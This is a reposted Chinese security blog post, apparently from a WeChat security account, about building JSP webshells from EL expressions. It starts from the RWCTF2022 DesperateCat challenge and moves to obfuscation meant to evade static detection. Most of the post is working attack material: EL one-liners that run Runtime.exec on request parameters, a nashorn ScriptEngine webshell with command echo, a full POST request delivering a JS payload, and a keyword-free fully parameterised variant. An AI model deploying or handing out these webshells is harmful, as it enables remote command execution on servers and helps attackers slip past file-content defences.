从DesperateCat到EL webshell初探

admin 2023年5月8日00:02:55评论22 views字数 5113阅读17分2秒阅读模式

通过RWCTF2022的一道web联想到的EL webshell简单实现与混淆

0x0 RWCTF引发的思考

前段时间结束的Realworld ctf里有一道题目DesperateCat,这道题目考察的是严苛环境下写webshell的问题,对于写入文件内容的限制其中有一点:

  • 禁止传入圆括号、尖括号、引号等

如果我们单独处理bypass,那么其实很好解决:

  1. 尖括号 <% %>:使用EL表达式

//<%Runtime.getRuntime.exec(request.getParameter("cmd"));%>
//替换成为
${Runtime.getRuntime().exec(param.cmd)}

这样就避免出现了尖括号。

2.圆括号 () : java 代码编译解析器会识别 Unicode 形式的编码,所可以直接unicode

//<%Runtime.getRuntime().exec("calc");%>
<%u0052u0075u006eu0074u0069u006du0065u002eu0067u0065u0074u0052u0075u006eu0074u0069u006du0065u0028u0029u002eu0065u0078u0065u0063u0028u0022u0063u0061u006cu0063u0022u0029u003b%>

但是要完全bypass,显然两者都是不行的,那么最终的方式是采用EL表达式中的 '.' 与 '=' 。

  • EL中 . 点号属性取值相当于执行对象的 getter 方法,赋值则等同于执行 setter 方法。

${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a}
//等同于
pageContext.getServletContext().getClassLoader().getResources().getContext().getManager().setPathname(request.getParameter("a"));

通过这种方式我们可以获得ClassLoader修改一些tomcat的属性,最终达到利用session写shell的目的,当然到目前这道题目只是完成了一小部分,后面还涉及到如何使Tomcat reload 并实现持久化贮存session的问题等等,各位感兴趣的可以看一下长亭官方的wp。

 这道题目使用EL表达式进行bypass的方式引起了我的注意,通过精心构造EL表达式我们是否能实现更加精简且具有一定bypass能力的jsp webshell?

0x01 简单尝试与回显问题

我们使用开头提到的EL表达式来试一试:

${Runtime.getRuntime().exec(param.cmd)}

从DesperateCat到EL webshell初探
执行是没有问题的,但是我们要制作webshell,没有回显是肯定不行的,这里我联想到了前段时间学习webshell免杀的一种构造方式:调用ScriptEngine来执行js

我们使用ScriptEngine构造出的webshell是这样的:

<%@ page import="javax.script.ScriptEngineManager" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
String s = "s=[3];s[0]='cmd';s[1]='/c';s[2]='";
String cmd = request.getParameter("cmd");
String rt = new String(Base64.getDecoder().decode("JztqYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhzKTs="));
Process process = (Process) new ScriptEngineManager().getEngineByName("nashorn").eval(s + cmd + rt);
InputStreamReader reader = new InputStreamReader(process.getInputStream());
BufferedReader buffer = new BufferedReader(reader);
s = null;
while ((s = buffer.readLine()) != null) {
response.getWriter().println(s);
}
%>

很好理解,获取nashorn JavaScript引擎实现命令执行。

想到这种方法是因为我们可以尽可能的减少webshell中的代码量,通过传递指定的js代码来执行脚本,从而更好地绕过文件内容检测。

0x02 EL + ScriptEngine

首先我们在webshell中通过反射配合动态传递参数的方式获取Engine并执行eval。

//test.jsp
${''.getClass().forName(param.spr1).newInstance().getEngineByName("javascript").eval(param.spr2)}

首先反射获取ScriptEngineManager对象:

test.jsp?spr1=javax.script.ScriptEngineManager

然后调用js引擎执行脚本,我们将上方给出的ScriptEngine版本的webshell进行改造,将其改造成js版本:

try{
load("nashorn:mozilla_compat.js");
}
catch (e){
}
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.java.io);
s=[2];
s[0]='cmd';
s[1]='/c whoami /all';
a="";
b=java.lang.Runtime.getRuntime().exec(s).getInputStream();
output+=new BufferedReader(new+InputStreamReader(b));
while ((line=output.readLine()) != null)
{
o=o+line+"n"
};o

然后我们将其传入执行js,最终的包长这样

POST /test.jsp?spr1=javax.script.ScriptEngineManager HTTP/1.1
Host: 172.20.10.2:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=4A34A77B78CD48404804BFD7420A0195
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 414

spr2=try{load("nashorn%3amozilla_compat.js")%3b}catch(e){}importPackage(Packages.java.util)%3bimportPackage(Packages.java.lang)%3bimportPackage(Packages.java.io)%3bs%3d[2]%3bs[0]%3d'cmd'%3bs[1]%3d'/c+whoami'%3ba%3d""%3bb%3djava.lang.Runtime.getRuntime().exec(s).getInputStream()%3boutput+%3d+new+BufferedReader(new+InputStreamReader(b))%3bwhile+((line%3doutput.readLine())+!%3d+null)+{a%3da%2bline%2b"n"}%3ba

然后执行,没有问题。

从DesperateCat到EL webshell初探

0x03 进一步混淆

虽然已经可以通过传递指定js脚本执行命令,但仔细来看

${''.getClass().forName(param.spr1).newInstance().getEngineByName("javascript").eval(param.spr2)}

这段代码还是包含了一些较为敏感的关键字,譬如forName、getEngineByName、eval等,作为一个webshell来讲,显然是不够“干净整洁”的;为进一步混淆,我们可以采用动态传递的方式来替换关键字。

在EL表达式中,我们知道获取属性可以使用a.b或者a['b'],使用后者就意味着我们可以把所有属性和方法转化成字符串:

${""["getClass"]()["forName"]("javax.script.ScriptEngineManager")["newInstance"]()["getEngineByName"]("JavaScript")["eval"]("...")}

那么这样做有什么好处呢?

首先我们可以随意拼接

${""["ge"+"tCl"+"ass"]()["for"+"Name"]("javax.scr"+"ipt.ScriptEng"+"ineManager")["newIn"+"stance"]()["getEng"+"ineByName"]("Java"+"Script")["e"+"val"]("...")}

更重要的是如此我们可以将字符串通过param.xxx来传递,这样就可以实现如下的改造:

${""[param.a]()[param.b](param.c)[param.d]()[param.e](param.f)[param.g](param.h)}

测试后可以执行:

从DesperateCat到EL webshell初探

这种高度精简就实现了将绝大部分代码通过传递来执行,应当具有较好的静态免杀能力。

0x04 总结

这个小思路也是启发于这位师傅,同时也想到了之前的RWCTF中的题目,而从本质上讲也许可以把它看作是EL表达式注入的另类使用。

从DesperateCat到EL webshell初探

我们从最初的

${Runtime.getRuntime().exec(param.cmd)}

${''.getClass().forName(param.spr1).newInstance().getEngineByName("javascript").eval(param.spr2)}

再到

${""[param.a]()[param.b](param.c)[param.d]()[param.e](param.f)[param.g](param.h)}

可以发现这种webshell的优势也很明显:

  • 足够小,一句话就可以实现命令执行+回显的功能

  • 避免出现<%、Class、eval等敏感字符,具有bypass能力

当然这只是个demo,它还可以更美观比如将cmd通过占位符提取出来放到headers里;再比如我们的body有点臃肿,我们直接用python封装实现一个交互式shell也不错。

转载:https://forum.butian.net/share/1880作者:欢迎大家去关注该作者


从DesperateCat到EL webshell初探 点击下方小卡片或扫描下方二维码观看更多技术文章从DesperateCat到EL webshell初探

从DesperateCat到EL webshell初探

师傅们点赞、转发、在看就是最大的支持


原文始发于微信公众号(星冥安全):从DesperateCat到EL webshell初探

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月8日00:02:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从DesperateCat到EL webshell初探http://cn-sec.com/archives/1716229.html

发表评论

匿名网友 填写信息